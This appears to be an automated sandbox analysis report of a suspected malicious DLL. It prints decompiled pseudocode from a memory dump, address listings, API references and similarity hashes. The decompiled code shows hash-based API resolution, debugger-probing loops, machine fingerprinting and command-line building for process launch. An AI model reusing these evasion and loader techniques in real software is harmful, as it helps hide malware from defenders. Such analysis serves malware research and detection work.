											E6ED48AB0(_t553 + 0xcc, _t313, 0);
											_push(0x80);
											_push(0);
											E6ED5A4E0(_t553 + 0x68, __eflags,  *((intOrPtr*)(_t553 + 0xd0)), 1);
											_t316 = E6ED5BEA0(_t553 + 0x64, _t506, _t530);
											__eflags = _t316;
											if(_t316 == 0) {
												__eflags =  *((char*)(_t553 + 0x68));
												if( *((char*)(_t553 + 0x68)) != 0) {
													E6ED5BE30(_t553 + 0x64, _t530);
												}
												E6ED48CA0(_t553 + 0x58);
												_t533 = 0;
												__eflags = 0;
												while(1) {
													__eflags = E6ED5A730(_t553 + 0xc4, _t506);
													if(__eflags == 0) {
														break;
													}
													E6ED422A0(0x64, _t506);
													_t533 = _t533 + 1;
													__eflags = _t533 - 0x64;
													if(__eflags < 0) {
														continue;
													}
													break;
												}
												_t530 = _t553 + 0xcc;
												do {
													E6ED4AE80(_t553 + 0xcc, __eflags, _t530, 0x5c);
													E6ED48CC0(_t553 + 0xc8,  *(_t553 + 0xcc));
													E6ED48CA0(_t530);
													__eflags = E6ED5A730(_t553 + 0xc4, _t506);
												} while (__eflags == 0);
											} else {
												__eflags =  *((char*)(_t553 + 0x68));
												if( *((char*)(_t553 + 0x68)) != 0) {
													E6ED5BE30(_t553 + 0x64, _t530);
												}
												E6ED48CA0(_t553 + 0x58);
											}
											E6ED48CA0(_t553 + 0xc4);
										}
									}
								}
							}
							__eflags = ( *0x6ed6b02a & 0x000000ff) - 2;
							if(( *0x6ed6b02a & 0x000000ff) == 2) {
								L87:
								_t221 =  *0x6ed6b1ad; // 0xb72078
								__eflags = _t221;
								if(_t221 == 0) {
									L89:
									_t222 =  *0x6ed6b1ad; // 0xb72078
									__eflags = _t222;
									if(_t222 == 0) {
										_push(0x10);
										_t223 = E6ED41030();
										_t553 = _t553 + 4;
										__eflags = _t223;
										if(_t223 != 0) {
											_push(0);
											_t224 = E6ED59350(_t223);
										} else {
											_t224 = 0;
										}
										 *0x6ed6b1ad = _t224;
									}
									_t530 =  *0x6ed6b1ad; // 0xb72078
									__eflags = ( *0x6ed6b02a & 0x000000ff) - 1;
									if(( *0x6ed6b02a & 0x000000ff) == 1) {
										_t506 = 0x18f8c844;
										_t527 = _t553 + 0x28;
										E6ED36AD0(_t369, _t527, 0x18f8c844, _t527, _t530, 1, 0);
										_push(_t527);
										E6ED59520(_t530);
										E6ED59510(_t527);
									} else {
										E6ED59710(_t530, 0x6ed6b02d,  *0x6ed6b02b & 0x0000ffff);
									}
								} else {
									_t459 =  *0x6ed6b1ad; // 0xb72078
									_t286 = E6ED59660(_t459);
									__eflags = _t286;
									if(_t286 != 0) {
										goto L89;
									}
								}
								_t229 =  *0x6ed6b1b1; // 0x0
								__eflags = _t229;
								if(_t229 == 0) {
									L95:
									_t230 =  *0x6ed6b1b1; // 0x0
									__eflags = _t230;
									if(_t230 == 0) {
										_push(0x10);
										_t231 = E6ED41030();
										_t553 = _t553 + 4;
										__eflags = _t231;
										if(_t231 != 0) {
											_push(0);
											_t232 = E6ED59350(_t231);
										} else {
											_t232 = 0;
										}
										 *0x6ed6b1b1 = _t232;
									}
									_t527 =  *0x6ed6b1b1; // 0x0
									__eflags = ( *0x6ed6b02a & 0x000000ff) - 1;
									if(( *0x6ed6b02a & 0x000000ff) == 1) {
										_t506 = 0x11041f01;
										E6ED36AD0(_t369, _t553 + 0x38, 0x11041f01, _t527, _t530, 1, 1);
										_push(_t553 + 0x38);
										E6ED59520(_t527);
										E6ED59510(_t553 + 0x38);
										_t239 = E6ED59650(_t527);
										__eflags = _t239;
										if(_t239 != 0) {
											_t506 = 0xd3ef7577;
											E6ED36AD0(_t369, _t553 + 8, 0xd3ef7577, _t527, _t530, 0, 0);
											E6ED59510(_t553);
										}
									} else {
										_t530 =  *0x6ed6b1c4; // 0x6ed30000
										__eflags =  *((char*)(E6ED43930(_t369, 0, _t527, _t530) + 0xb)) - 0x20;
										_t515 =  ==  ? 0x7e839a6 : 0x93fc68d6;
										_t506 = _t530;
										E6ED39090(_t553 + 0x88, _t530,  ==  ? 0x7e839a6 : 0x93fc68d6);
										_push(_t553 + 0x88);
										E6ED59520(_t527);
										E6ED59510(_t553 + 0x88);
									}
								} else {
									_t457 =  *0x6ed6b1b1; // 0x0
									_t282 = E6ED59660(_t457);
									__eflags = _t282;
									if(_t282 != 0) {
										goto L95;
									}
								}
								_t240 =  *((intOrPtr*)(_t545 + 0x2c));
								__eflags = _t240 - 3;
								if(_t240 == 3) {
									__eflags =  *0x6ed6b1cc - 3;
									if( *0x6ed6b1cc == 3) {
										E6ED48CC0(_t553 + 0x10c,  *((intOrPtr*)( *0x6ed6b1d0 + 8)));
									}
									_t370 = _t553 + 0x48;
									E6ED48810(_t553 + 0x48, 0);
									_t244 = E6ED49890(_t370, _t553 + 0x48, _t506, _t527, _t530, _t370, 0x6ed69428,  *((intOrPtr*)(_t545 + 0x2c)));
									E6ED50220(_t553 + 0x110,  *_t244, 0);
									E6ED48CA0(_t370);
									L6ED38180(_t530);
								} else {
									__eflags = _t240 - 5;
									if(_t240 != 5) {
										__eflags = _t240 - 6;
										if(__eflags == 0) {
											_t434 = _t553 + 0xa4;
											 *_t434 = 0;
											 *((intOrPtr*)(_t434 + 4)) = 0;
											 *((intOrPtr*)(_t434 + 8)) = 0;
											 *((intOrPtr*)(_t434 + 0xc)) = 0;
											L6ED45B60(_t369, _t434, _t527, _t530, __eflags);
											E6ED36740(_t553 + 0xa4);
											E6ED41350(0x12);
											__eflags =  *(_t553 + 0xa8);
											if( *(_t553 + 0xa8) > 0) {
												_t372 = 0;
												__eflags = 0;
												do {
													_t259 = E6ED62B00(_t553 + 0xa8, _t372);
													__eflags =  *((char*)(_t259 + 0x3c));
													if( *((char*)(_t259 + 0x3c)) == 0) {
														E6ED32A40(_t553 + 0x50, _t259);
														E6ED48CA0(_t553 + 0x50);
													}
													_t372 = _t372 + 1;
													__eflags = _t372 -  *(_t553 + 0xa8);
												} while (_t372 <  *(_t553 + 0xa8));
											}
											E6ED62970(_t369, _t553 + 0xa4, _t527);
											_t438 =  *(_t553 + 0xb0);
											__eflags =  *(_t553 + 0xb0);
											if( *(_t553 + 0xb0) != 0) {
												E6ED32A20(_t438, 1);
											}
										}
									} else {
										__eflags = _t369;
										if(_t369 == 0) {
											__eflags =  *0x6ed6b1cc - 1;
											if(__eflags <= 0) {
												L104:
												_t442 = _t553 + 0x18;
												 *_t442 = 0;
												 *((intOrPtr*)(_t442 + 4)) = 0;
												 *((intOrPtr*)(_t442 + 8)) = 0;
												 *((intOrPtr*)(_t442 + 0xc)) = 0;
												L6ED45B60(_t369, _t442, _t527, _t530, __eflags);
												__eflags = ( *0x6ed6b029 & 0x000000ff) - 1;
												E6ED37DB0(_t553 + 0x18, 0 | ( *0x6ed6b029 & 0x000000ff) - 0x00000001 > 0x00000000);
												__eflags =  *0x6ed6b029 & 0x000000ff;
												if(( *0x6ed6b029 & 0x000000ff) != 0) {
													E6ED41350(0x12);
													__eflags =  *(_t553 + 0x1c);
													if( *(_t553 + 0x1c) > 0) {
														_t373 = 0;
														__eflags = 0;
														do {
															_t269 = E6ED62B00(_t553 + 0x1c, _t373);
															__eflags =  *((char*)(_t269 + 0x3c));
															if( *((char*)(_t269 + 0x3c)) == 0) {
																E6ED32A40(_t553 + 0x10, _t269);
																E6ED48CA0(_t553 + 0x10);
															}
															_t373 = _t373 + 1;
															__eflags = _t373 -  *(_t553 + 0x1c);
														} while (_t373 <  *(_t553 + 0x1c));
													}
												}
												E6ED62970(_t369, _t553 + 0x18, _t527);
												_t445 =  *(_t553 + 0x24);
												__eflags =  *(_t553 + 0x24);
												if( *(_t553 + 0x24) != 0) {
													E6ED32A20(_t445, 1);
												}
											} else {
												_t272 =  *0x6ed6b1d0; // 0x93fa98
												__eflags = ( *( *(_t272 + 4)) & 0x0000ffff) - 0x2d;
												if(__eflags != 0) {
													goto L104;
												}
											}
										}
									}
								}
								E6ED58910(_t553 + 0x130, _t527, _t530);
								E6ED48CA0(_t553 + 0x110);
								E6ED48CA0(_t553 + 0x108);
								E6ED47A70(_t553 + 0x128);
								__eflags = 0;
								return 0;
							} else {
								__eflags =  *0x6ed6b027 & 0x000000ff;
								if(( *0x6ed6b027 & 0x000000ff) == 0) {
									goto L87;
								} else {
									__eflags = _t369;
									if(_t369 != 0) {
										goto L87;
									} else {
										__eflags =  *((char*)(_t545 + 0xb)) - 0x20;
										_t517 =  ==  ? 0x7fe7dfa2 : 0xfd81b916;
										E6ED361B0(_t553 + 0x3c,  ==  ? 0x7fe7dfa2 : 0xfd81b916,  *((char*)(_t545 + 0xb)) - 0x20);
										E6ED48810(_t553 + 0x18, 0x200);
										_t462 = E6ED415C0(0xa1310f65, 0xc4d11e8a);
										__eflags = _t462;
										if(__eflags != 0) {
											_t309 =  *(_t553 + 0x18) >> 1;
											__eflags = _t309;
											_t517 =  *0x6ed6b1c4; // 0x6ed30000
											 *_t462(_t517,  *(_t553 + 0x18), _t309);
										}
										_push(0x80);
										_push(0);
										E6ED5A4E0(_t553 + 0x10, __eflags,  *((intOrPtr*)(_t553 + 0x20)), 1);
										E6ED5A520(_t553 + 8, _t517, _t553 + 0x1c, 0);
										__eflags =  *((char*)(_t553 + 0x10));
										if( *((char*)(_t553 + 0x10)) != 0) {
											E6ED5BE30(_t553 + 0xc, _t530);
										}
										__eflags = 0;
										E6ED48CA0(_t553);
										_t532 = _t553 + 0x1a0;
										_t548 = _t553 + 0x2c;
										while(1) {
											E6ED40B70(_t532, 0, 0x44);
											 *((intOrPtr*)(_t553 + 0x1ac)) = 0x44;
											E6ED40B70(_t548, 0, 0x10);
											_t553 = _t553 + 0x18;
											E6ED48810(_t553 + 0x4c, 0);
											_t301 = E6ED496D0(E6ED496D0(E6ED50220(_t553 + 0x50,  *((intOrPtr*)(_t553 + 0x40)), 0), 0x20), 0x22);
											_t302 =  *0x6ed6b1d0; // 0x93fa98
											E6ED496D0(E6ED50220(_t301,  *_t302, 0), 0x22);
											_t305 = E6ED415C0(0xa1310f65, 0x643f303c);
											__eflags = _t305;
											if(_t305 != 0) {
												break;
											}
											E6ED48CA0(_t553 + 0x48);
										}
										_push(_t548);
										_push(_t532);
										_push(0);
										_push(0);
										_push(4);
										_push(0);
										_push(0);
										_push(0);
										_push( *((intOrPtr*)(_t553 + 0x68)));
										_push( *((intOrPtr*)(_t553 + 0x60)));
										asm("int3");
										return _t305;
									}
								}
							}
						} else {
							E6ED58910(_t553 + 0x130, _t526, _t530);
							E6ED48CA0(_t553 + 0x110);
							E6ED48CA0(_t553 + 0x108);
							E6ED47A70(_t553 + 0x128);
							__eflags = 0;
							return 0;
						}
					} else {
						_push(0x6ed6b1cc);
						_push(0);
						asm("int3");
						return _t192;
					}
				} else {
					asm("int3");
					return _t190;
				}
				goto L143;
			}

0x6ed351a7
0x6ed351a7
0x6ed351b7
0x6ed351bc
0x6ed351be
0x6ed351c5
0x6ed351d0
0x6ed351dc
0x6ed351e4
0x6ed351ec
0x6ed351f1
0x6ed351f8
0x00000000
0x00000000
0x6ed351fa
0x6ed35202
0x6ed35209
0x00000000
0x6ed3520b
0x6ed35212
0x6ed35212
0x00000000
0x6ed35209
0x6ed351fa
0x6ed35218
0x6ed35218
0x6ed3521a
0x6ed35221
0x6ed3522c
0x6ed35238
0x6ed35240
0x6ed35248
0x6ed3524d
0x6ed35254
0x00000000
0x00000000
0x6ed35256
0x6ed3525e
0x6ed35265
0x00000000
0x6ed35267
0x6ed3526e
0x6ed3526e
0x00000000
0x6ed35265
0x6ed35256
0x6ed35274
0x6ed35274
0x6ed35276
0x6ed3527d
0x6ed35288
0x6ed35294
0x6ed3529c
0x6ed352a4
0x6ed352a9
0x6ed352b0
0x00000000
0x00000000
0x6ed352b2
0x6ed352ba
0x6ed352c1
0x00000000
0x6ed352c3
0x6ed352ca
0x6ed352ca
0x00000000
0x6ed352c1
0x6ed352b2
0x6ed352d0
0x6ed352d0
0x6ed352d2
0x6ed352d9
0x6ed352e4
0x6ed352f0
0x6ed352f8
0x6ed35300
0x6ed35305
0x6ed3530c
0x00000000
0x00000000
0x6ed3530e
0x6ed35316
0x6ed3531d
0x00000000
0x6ed3531f
0x6ed35326
0x6ed35326
0x00000000
0x6ed3531d
0x6ed3530e
0x6ed3532c
0x6ed35333
0x6ed35338
0x6ed35344
0x6ed35350
0x6ed35358
0x6ed35efb
0x6ed35efb
0x6ed35f04
0x6ed35f06
0x6ed35f08
0x6ed35f22
0x6ed35f22
0x6ed35f2f
0x6ed35f34
0x6ed35f3b
0x6ed35f43
0x6ed35f4a
0x6ed35f4e
0x6ed35f52
0x6ed35f52
0x6ed35f54
0x6ed35f61
0x6ed35f67
0x6ed35f69
0x6ed35f6b
0x00000000
0x00000000
0x6ed35f75
0x6ed35f7f
0x6ed35f8a
0x6ed35f8c
0x6ed35f97
0x6ed35f97
0x6ed35fa9
0x6ed35fab
0x6ed35fad
0x6ed35fbd
0x6ed35fd0
0x6ed35fd0
0x6ed35fe1
0x6ed35fe4
0x6ed35fec
0x6ed35fee
0x6ed35ff0
0x6ed35ffd
0x6ed36017
0x6ed36017
0x6ed35ff0
0x00000000
0x6ed35f0a
0x6ed35f18
0x6ed35f1a
0x6ed35f1c
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed35f1c
0x00000000
0x6ed35f08
0x6ed35358
0x6ed3535e
0x6ed3535e
0x6ed35368
0x6ed3536f
0x6ed35377
0x6ed3538a
0x6ed3539b
0x6ed3539f
0x6ed353aa
0x6ed353aa
0x6ed353ae
0x6ed353b0
0x6ed353ba
0x6ed353cd
0x6ed353cf
0x6ed353cf
0x6ed353d4
0x6ed353d7
0x6ed353ba
0x6ed353e2
0x6ed353f0
0x6ed353fc
0x6ed3540b
0x6ed35412
0x6ed3541c
0x6ed35428
0x6ed3542d
0x6ed3542f
0x6ed35440
0x6ed35451
0x6ed35453
0x6ed35457
0x6ed35459
0x6ed35459
0x6ed3545e
0x6ed3546f
0x6ed35483
0x6ed35485
0x6ed35487
0x6ed35490
0x6ed35490
0x6ed3549c
0x6ed3549c
0x6ed354a5
0x6ed354b8
0x6ed354bd
0x6ed354bf
0x6ed354d9
0x6ed354ec
0x6ed354f1
0x6ed354f3
0x6ed35506
0x6ed3550b
0x6ed3551c
0x6ed35525
0x6ed35538
0x6ed35546
0x6ed35552
0x6ed35563
0x6ed3556a
0x6ed35576
0x6ed35589
0x6ed35590
0x6ed35599
0x6ed35599
0x6ed35599
0x6ed3559c
0x6ed354f5
0x6ed354f5
0x6ed354f5
0x6ed355a8
0x6ed355b4
0x6ed355b9
0x6ed355bb
0x6ed355c4
0x6ed355c4
0x00000000
0x00000000
0x00000000
0x6ed354c1
0x6ed354c8
0x6ed355bd
0x6ed355bd
0x6ed355bd
0x6ed355d2
0x6ed355e8
0x6ed355f4
0x6ed355f9
0x6ed35601
0x6ed35603
0x6ed35606
0x6ed35608
0x6ed3560f
0x6ed3560f
0x6ed35619
0x6ed35620
0x6ed35622
0x6ed3562e
0x6ed3562e
0x6ed35630
0x6ed35637
0x6ed35637
0x6ed35637
0x6ed35638
0x6ed3563a
0x00000000
0x00000000
0x6ed3563c
0x6ed3563f
0x00000000
0x6ed35641
0x6ed35641
0x6ed35648
0x6ed3564b
0x00000000
0x6ed3564d
0x6ed3560f
0x6ed3560f
0x6ed35619
0x6ed35620
0x6ed35622
0x6ed3562e
0x6ed3562e
0x6ed35630
0x00000000
0x6ed35630
0x6ed3560f
0x6ed3564b
0x00000000
0x6ed3563f
0x6ed3564f
0x00000000
0x6ed3564f
0x6ed3560f
0x6ed35652
0x6ed35652
0x6ed35656
0x6ed3569c
0x6ed3569e
0x6ed356ab
0x6ed356ad
0x6ed356b3
0x6ed356ba
0x6ed356c0
0x6ed356c5
0x6ed356c8
0x6ed356cb
0x6ed356ce
0x6ed356de
0x6ed356e3
0x6ed356e8
0x6ed356f7
0x6ed35700
0x6ed35705
0x6ed35707
0x6ed35724
0x6ed35729
0x6ed3572f
0x6ed3572f
0x6ed35738
0x6ed3573d
0x6ed3573d
0x6ed3573f
0x6ed3574b
0x6ed3574d
0x00000000
0x00000000
0x6ed35754
0x6ed35759
0x6ed3575a
0x6ed3575d
0x00000000
0x00000000
0x00000000
0x6ed3575d
0x6ed3575f
0x6ed35766
0x6ed35770
0x6ed35783
0x6ed3578a
0x6ed3579b
0x6ed3579b
0x6ed35709
0x6ed35709
0x6ed3570e
0x6ed35714
0x6ed35714
0x6ed3571d
0x6ed3571d
0x6ed357a6
0x6ed357a6
0x6ed356ce
0x6ed356ba
0x6ed356ad
0x6ed357b2
0x6ed357b5
0x6ed35b3c
0x6ed35b3c
0x6ed35b41
0x6ed35b43
0x6ed35b54
0x6ed35b54
0x6ed35b59
0x6ed35b5b
0x6ed35e33
0x6ed35e35
0x6ed35e3a
0x6ed35e3d
0x6ed35e3f
0x6ed35e47
0x6ed35e49
0x6ed35e41
0x6ed35e41
0x6ed35e41
0x6ed35e4e
0x6ed35e4e
0x6ed35b61
0x6ed35b6e
0x6ed35b71
0x6ed35e0b
0x6ed35e10
0x6ed35e1a
0x6ed35e21
0x6ed35e22
0x6ed35e29
0x6ed35b77
0x6ed35b86
0x6ed35b86
0x6ed35b45
0x6ed35b45
0x6ed35b4b
0x6ed35b50
0x6ed35b52
0x00000000
0x00000000
0x6ed35b52
0x6ed35b92
0x6ed35b97
0x6ed35b99
0x6ed35baa
0x6ed35baa
0x6ed35baf
0x6ed35bb1
0x6ed35eb0
0x6ed35eb2
0x6ed35eb7
0x6ed35eba
0x6ed35ebc
0x6ed35ec4
0x6ed35ec6
0x6ed35ebe
0x6ed35ebe
0x6ed35ebe
0x6ed35ecb
0x6ed35ecb
0x6ed35bb7
0x6ed35bc4
0x6ed35bc7
0x6ed35e62
0x6ed35e68
0x6ed35e73
0x6ed35e74
0x6ed35e7d
0x6ed35e84
0x6ed35e89
0x6ed35e8b
0x6ed35e93
0x6ed35e9e
0x6ed35ea6
0x6ed35ea6
0x6ed35bcd
0x6ed35bcf
0x6ed35be8
0x6ed35bf1
0x6ed35bf5
0x6ed35bf7
0x6ed35c05
0x6ed35c06
0x6ed35c12
0x6ed35c12
0x6ed35b9b
0x6ed35b9b
0x6ed35ba1
0x6ed35ba6
0x6ed35ba8
0x00000000
0x00000000
0x6ed35ba8
0x6ed35c1e
0x6ed35c21
0x6ed35c24
0x6ed35d87
0x6ed35d8e
0x6ed35ee4
0x6ed35ee4
0x6ed35d94
0x6ed35d9c
0x6ed35daa
0x6ed35dbd
0x6ed35dc4
0x6ed35dc9
0x6ed35c2a
0x6ed35c2a
0x6ed35c2d
0x6ed35cf0
0x6ed35cf3
0x6ed35cfb
0x6ed35d02
0x6ed35d04
0x6ed35d07
0x6ed35d0a
0x6ed35d0d
0x6ed35d1b
0x6ed35d25
0x6ed35d2a
0x6ed35d32
0x6ed35d34
0x6ed35d34
0x6ed35d36
0x6ed35d3e
0x6ed35d43
0x6ed35d47
0x6ed35d4f
0x6ed35d58
0x6ed35d58
0x6ed35d5d
0x6ed35d5e
0x6ed35d5e
0x6ed35d36
0x6ed35d6e
0x6ed35d73
0x6ed35d7a
0x6ed35d7c
0x6ed35d80
0x6ed35d80
0x6ed35d7c
0x6ed35c33
0x6ed35c33
0x6ed35c35
0x6ed35c3b
0x6ed35c42
0x6ed35c58
0x6ed35c5a
0x6ed35c5e
0x6ed35c60
0x6ed35c63
0x6ed35c66
0x6ed35c69
0x6ed35c77
0x6ed35c81
0x6ed35c8d
0x6ed35c8f
0x6ed35c96
0x6ed35c9b
0x6ed35ca0
0x6ed35ca2
0x6ed35ca2
0x6ed35ca4
0x6ed35ca9
0x6ed35cae
0x6ed35cb2
0x6ed35cba
0x6ed35cc3
0x6ed35cc3
0x6ed35cc8
0x6ed35cc9
0x6ed35cc9
0x6ed35ca4
0x6ed35ca0
0x6ed35cd3
0x6ed35cd8
0x6ed35cdc
0x6ed35cde
0x6ed35ce6
0x6ed35ce6
0x6ed35c44
0x6ed35c44
0x6ed35c4f
0x6ed35c52
0x00000000
0x00000000
0x6ed35c52
0x6ed35c42
0x6ed35c35
0x6ed35c2d
0x6ed35dd5
0x6ed35de1
0x6ed35ded
0x6ed35df9
0x6ed35dfe
0x6ed35e0a
0x6ed357bb
0x6ed357c2
0x6ed357c4
0x00000000
0x6ed357ca
0x6ed357ca
0x6ed357cc
0x00000000
0x6ed357d2
0x6ed357dc
0x6ed357e4
0x6ed357e7
0x6ed357f5
0x6ed35809
0x6ed3580b
0x6ed3580d
0x6ed35813
0x6ed35813
0x6ed3581a
0x6ed35821
0x6ed35821
0x6ed35823
0x6ed35828
0x6ed35834
0x6ed35844
0x6ed35849
0x6ed3584e
0x6ed35854
0x6ed35854
0x6ed35859
0x6ed3585e
0x6ed35863
0x6ed3586a
0x6ed3586e
0x6ed35873
0x6ed35878
0x6ed35888
0x6ed3588d
0x6ed35896
0x6ed358b7
0x6ed358be
0x6ed358d0
0x6ed358df
0x6ed358e4
0x6ed358e6
0x00000000
0x00000000
0x6ed35996
0x6ed35996
0x6ed358ec
0x6ed358ed
0x6ed358ee
0x6ed358ef
0x6ed358f0
0x6ed358f2
0x6ed358f3
0x6ed358f4
0x6ed358f5
0x6ed358f9
0x6ed358fd
0x6ed358fe
0x6ed358fe
0x6ed357cc
0x6ed357c4
0x6ed35658
0x6ed3565f
0x6ed3566b
0x6ed35677
0x6ed35683
0x6ed35688
0x6ed35694
0x6ed35694
0x6ed35431
0x6ed35431
0x6ed35436
0x6ed35437
0x6ed35438
0x6ed35438
0x6ed35414
0x6ed35414
0x6ed35415
0x6ed35415
0x00000000

APIs

OutputDebugStringA.KERNEL32(?), ref: 6ED351DC
Sleep.KERNEL32(0000000A), ref: 6ED351E4
OutputDebugStringA.KERNEL32(?), ref: 6ED35212
OutputDebugStringA.KERNEL32(?), ref: 6ED35238
Sleep.KERNEL32(0000000A), ref: 6ED35240
OutputDebugStringA.KERNEL32(?), ref: 6ED3526E
OutputDebugStringA.KERNEL32(?), ref: 6ED35294
Sleep.KERNEL32(0000000A), ref: 6ED3529C
OutputDebugStringA.KERNEL32(?), ref: 6ED352CA
OutputDebugStringA.KERNEL32(?), ref: 6ED352F0
Sleep.KERNEL32(0000000A), ref: 6ED352F8
OutputDebugStringA.KERNEL32(?), ref: 6ED35326
GetAdaptersInfo.IPHLPAPI(00000000,?,D93F3271,0A1EE59B,00000000,00002800,?,00000007,0000003F,588AB3EA,3B4CAFF7,588AB3EA,1BE15FEB,755AA3F0), ref: 6ED353AA

Strings

@, xrefs: 6ED35F8C

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: DebugOutputString$Sleep$AdaptersInfo
String ID: @
API String ID: 1241301715-2766056989
Opcode ID: 8f2dfd4777de5404d2534b097b5dbffdb23b08ebf42028fb3ac39f3e00c775fe
Instruction ID: 20955c28530b54790dd1e5fe89f177978efb9cbcd5eeeba06e5438d08aecd533
Opcode Fuzzy Hash: 8f2dfd4777de5404d2534b097b5dbffdb23b08ebf42028fb3ac39f3e00c775fe
Instruction Fuzzy Hash: 2181C735208396DFEF705FE0C8A0BEF73E9EF85308F504928EA5656291EB7195058B72

Uniqueness

Uniqueness Score: -1.00%

Function 6ED43930, Relevance: 6.8, APIs: 4, Instructions: 834
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E6ED43930(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				void* _v32;
				intOrPtr _v36;
				char _v44;
				void* _v60;
				void* _v72;
				char _v76;
				char _v84;
				void* _v88;
				char _v92;
				void* _v96;
				long _v100;
				long _v104;
				long _v108;
				char _v112;
				void* _v116;
				char _v120;
				void* _v154;
				struct _SYSTEM_INFO _v156;
				signed int _v160;
				void* _v164;
				char _v168;
				void* _v172;
				char _v176;
				char _v180;
				void* _v184;
				char _v188;
				void* _v196;
				intOrPtr _v424;
				signed char _v428;
				signed char _v432;
				char _v496;
				void* _v500;
				void* _v504;
				char _v520;
				void* _v524;
				intOrPtr _t163;
				intOrPtr _t174;
				char _t175;
				intOrPtr* _t183;
				void* _t187;
				void* _t197;
				signed int _t201;
				char _t212;
				intOrPtr _t219;
				intOrPtr _t223;
				void* _t229;
				int _t234;
				intOrPtr _t241;
				void* _t244;
				void* _t247;
				void* _t255;
				void* _t263;
				void* _t264;
				int _t275;
				void* _t279;
				void* _t282;
				void* _t283;
				void* _t286;
				void* _t289;
				void* _t292;
				void* _t295;
				void* _t298;
				void* _t306;
				intOrPtr _t308;
				void* _t311;
				void* _t313;
				void* _t314;
				intOrPtr _t315;
				void* _t316;
				signed char _t322;
				intOrPtr* _t344;
				void** _t346;
				void* _t354;
				void* _t359;
				void* _t360;
				void* _t362;
				void* _t364;
				intOrPtr _t366;
				void* _t367;
				void* _t368;
				void* _t374;
				void* _t375;
				void* _t377;
				signed char _t378;
				void* _t381;
				intOrPtr _t382;
				intOrPtr _t383;
				void* _t384;
				void* _t386;
				void* _t387;
				void* _t388;
				void* _t389;
				intOrPtr _t392;
				intOrPtr _t394;
				void* _t395;
				intOrPtr _t398;
				intOrPtr _t400;
				intOrPtr* _t402;
				void* _t403;
				void* _t406;
				void* _t407;
				void* _t408;
				void* _t409;
				void* _t410;
				void* _t411;
				intOrPtr* _t413;
				signed char* _t416;
				intOrPtr* _t417;
				void* _t420;
				void* _t425;
				signed int _t429;
				void* _t432;
				void* _t433;
				void* _t434;
				signed int _t439;
				signed int _t442;
				void* _t444;
				intOrPtr* _t445;

				_t439 = _t442;
				_push(__esi);
				_push(__edi);
				_push(__ebx);
				_t444 = (_t442 & 0xfffffff0) - 0x1b4;
				_t313 = __ecx;
				_t163 =  *0x6ed6b1f0; // 0xb70528
				if(_t163 == 0x9ccb2c38) {
					_push(0x30);
					_t163 = E6ED41030();
					_t444 = _t444 + 4;
					 *0x6ed6b1f0 = _t163;
				}
				if( *((char*)(_t163 + 0xb)) == 0 || _t313 != 0) {
					_t416 =  &_v432;
					E6ED40B70(_t416, 0, 0x11c);
					_t445 = _t444 + 0xc;
					_t377 =  *0x6ed6b1f4; // 0xb71340
					_v432 = 0x11c;
					if(_t377 == 0xc139578) {
						 *0x6ed6b1f4 = 0;
						_t314 = 0;
						goto L11;
					} else {
						if(_t377 == 0) {
							_t314 = 0;
							goto L11;
						} else {
							_t314 = 0;
							do {
								_t375 = _t314;
								_t311 = _t375;
								while( *((intOrPtr*)(_t311 + _t377 + 8)) != 0x13e99f60) {
									_t375 = _t375 + 1;
									_t311 = _t311 + 0x18;
									if(_t375 < 0x10) {
										continue;
									} else {
										goto L10;
									}
									goto L236;
								}
								_t308 =  *((intOrPtr*)(_t311 + _t377 + 0x14));
								if(_t308 != 0) {
									L14:
									if(_t308 == 0) {
										L16:
										_t417 =  *0x6ed6b1f0; // 0xb70528
										_t378 = _v432;
										_t322 = _v428;
										 *((intOrPtr*)(_t417 + 4)) = _v424;
										_t428 = (_t378 & 0x000000ff) << 4;
										 *(_t417 + 9) = _t322;
										 *(_t417 + 8) = _t378;
										 *((char*)(_t417 + 0xa)) = _v160 & 0x0000ffff;
										_t380 =  !=  ? 1 : _t314;
										 *((char*)(_t417 + 0xc)) =  !=  ? 1 : _t314;
										_t381 =  *0x6ed6b1f4; // 0xb71340
										_v32 = _t314;
										 *_t417 = (_t322 & 0x000000ff) + ((_t378 & 0x000000ff) << 4) - 0x50;
										if(_t381 == 0xc139578) {
											 *0x6ed6b1f4 = 0;
											goto L22;
										} else {
											if(_t381 == 0) {
												L22:
												_push(0xa1310f65);
												_t428 = E6ED47564(0xa1310f65);
												if(_t428 == 0) {
													if(E6ED46C50(0xa1310f65) != 0) {
														_push(0xa1310f65);
														_t428 = E6ED47564(0xa1310f65);
													}
												}
												if(_t428 != 0) {
													_t445 = _t445 + 0xfffffff8;
													_t413 = E6ED467C8(_t428, 0x16ea6870);
													goto L25;
												}
											} else {
												do {
													_t374 = _t314;
													_t306 = _t374;
													while( *((intOrPtr*)(_t306 + _t381 + 8)) != 0x16ea6870) {
														_t374 = _t374 + 1;
														_t306 = _t306 + 0x18;
														if(_t374 < 0x10) {
															continue;
														} else {
															goto L21;
														}
														goto L27;
													}
													_t413 =  *((intOrPtr*)(_t306 + _t381 + 0x14));
													if(_t413 != 0) {
														L25:
														if(_t413 != 0) {
															 *_t413(0xffffffff,  &_v44);
														}
														goto L27;
													} else {
														goto L22;
													}
													goto L236;
													L21:
													asm("o16 nop [eax+eax]");
													_t22 = _t381 + 0x180; // 0xb78e68
													_t381 =  *_t22;
												} while (_t381 != 0);
												goto L22;
											}
										}
										L27:
										_t174 =  *0x6ed6b1f0; // 0xb70528
										if(_v36 == 0) {
											 *((char*)(_t174 + 0xb)) = 0x20;
										} else {
											 *((char*)(_t174 + 0xb)) = 0x40;
										}
										_t175 = E6ED447B0(_t314, _t417, _t428);
										_t382 =  *0x6ed6b1f0; // 0xb70528
										 *((char*)(_t382 + 0x28)) = _t175;
										if( *((intOrPtr*)(E6ED43930(_t314, 0, _t417, _t428))) >= 0x10) {
											asm("movups xmm0, [0x6ed6a130]");
											asm("movsd xmm1, [0x6ed6a140]");
											asm("movups [esp+0x130], xmm0");
											asm("movsd [esp+0x140], xmm1");
											_t418 =  &_v120;
											_push(0);
											E6ED59350( &_v120);
											_t429 = _t314;
